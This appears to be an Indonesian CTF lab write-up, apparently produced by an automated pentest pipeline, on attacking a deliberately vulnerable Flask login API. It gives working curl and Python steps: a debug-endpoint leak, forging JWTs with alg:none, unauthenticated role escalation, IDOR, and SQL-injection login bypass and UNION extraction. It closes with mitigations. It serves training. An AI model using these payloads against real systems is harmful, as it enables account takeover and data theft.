Lab #8 - Login API: JWT Manipulation
Target:
http://loginapi.vuln.cybersecurity.or.id:8088/
Versi: Flask (Python 3.11), SQLite
Tools:curl, Python,jwt_tool(opsional)
Flag: đź”´FLAG{JWT_N0n3_4tt4ck_M4st3r_2025}
Filosofi Serangan
JWT (JSON Web Token) adalah standar untuk autentikasi API modern. Tapi jika implementasinya salah, JWT bisa dimanipulasi dengan mudah.
Kerentanan yang dieksploitasi:
- Debug Endpoint - ekspos JWT secret + flag
- JWT
alg: none- token palsu tanpa signature - Privilege Escalation - ubah role user via SQL injection
- IDOR - lihat data user lain termasuk password
- Weak JWT Secret - secret mudah ditebak
️ Langkah 1: Discovery - Debug Endpoint
1.1. Temukan Endpoint
curl -s http://loginapi.vuln.cybersecurity.or.id:8088/debug
Output:
{
"flag": "FLAG{JWT_N0n3_4tt4ck_M4st3r_2025}",
"secret": "weak-secret-123",
"env": {"WERKZEUG_RUN_MAIN": "true", ...},
"cwd": "/app"
}
âś… Flag langsung didapat! Tapi kita juga bisa eksploitasi JWT.
Langkah 2: JWT alg: none Attack
2.1. Analisis JWT
Server menerima JWT dengan algoritma none:
if header.get("alg") == "none":
payload = json.loads(base64.urlsafe_b64decode(payload_b64))
return jsonify({"claims": payload, "note": "unsigned token accepted"})
2.2. Forge Token
import json, base64
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')
header = {"alg":"none","typ":"JWT"}
payload = {"user_id":1,"username":"admin","role":"admin"}
forged_token = f"{b64url(header)}.{b64url(payload)}."
print(forged_token)
2.3. Gunakan Token
curl -s "http://loginapi.vuln.cybersecurity.or.id:8088/api/profile?token=PAYLOAD_B64.HEADER_B64."
Output:
{
"claims": {"role":"admin","username":"admin","user_id":1},
"note": "unsigned token accepted"
}
âś… Forged token diterima! Kita bisa mengaku sebagai user mana pun.
Langkah 3: Privilege Escalation
3.1. Ubah Role via API
Endpoint /api/users/role memungkinkan siapa pun mengubah
role tanpa autentikasi:
curl -s -X PUT -H "Content-Type: application/json" \
-d '{"username":"user2","role":"admin"}' \
"http://loginapi.vuln.cybersecurity.or.id:8088/api/users/role"
Output:
{"message": "role set to admin for user2"}
âś… Verifikasi:
curl -s http://loginapi.vuln.cybersecurity.or.id:8088/api/users/3
User dengan role user bisa di-escalate jadi
admin - tanpa verifikasi!
️ Langkah 4: IDOR - Lihat Data User Lain
4.1. Tanpa Autentikasi
curl -s http://loginapi.vuln.cybersecurity.or.id:8088/api/users/1
curl -s http://loginapi.vuln.cybersecurity.or.id:8088/api/users/2
curl -s http://loginapi.vuln.cybersecurity.or.id:8088/api/users/3
Output:
Semua data user bisa diakses hanya dengan ID numerik.
Langkah 5: SQL Injection di Login
5.1. Bypass Login
curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"admin'"'"' OR '"'"'1'"'"'='"'"'1","password":"x"}' \
"http://loginapi.vuln.cybersecurity.or.id:8088/api/login"
5.2. Ambil Data via UNION
curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"'"'"' UNION SELECT 1,flag,3,4 FROM secrets--","password":"x"}' \
"http://loginapi.vuln.cybersecurity.or.id:8088/api/login"
Kesimpulan
Target: Login API di http://loginapi.vuln.cybersecurity.or.id:8088/
Techniques: JWT alg:none, Privilege Escalation, Debug Leak, IDOR, SQLi
Flag: FLAG{JWT_N0n3_4tt4ck_M4st3r_2025}
Durasi: ~2 menit
Urutan serangan:
- ✅ Debug leak → flag + JWT secret langsung bocor
- âś… JWT
alg: none→ forge token tanpa secret - ✅ Privilege Escalation → user biasa jadi admin
- ✅ IDOR → lihat data user manapun
Cara Mitigasi
# ❌ JANGAN - menerima alg:none
header = jwt.get_unverified_header(token)
if header["alg"] == "none": accept()
# âś… HARUS - set algoritma yang diizinkan
jwt.decode(token, SECRET, algorithms=["HS256"])
# ❌ JANGAN - debug endpoint di production
@app.route("/debug") # HAPUS!
# âś… HARUS - autentikasi setiap endpoint
@app.route("/api/users/role", methods=["PUT"])
def set_role():
# Cek token dulu!
user = verify_token(request)
if not user or user["role"] != "admin":
return {"error": "unauthorized"}, 403
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy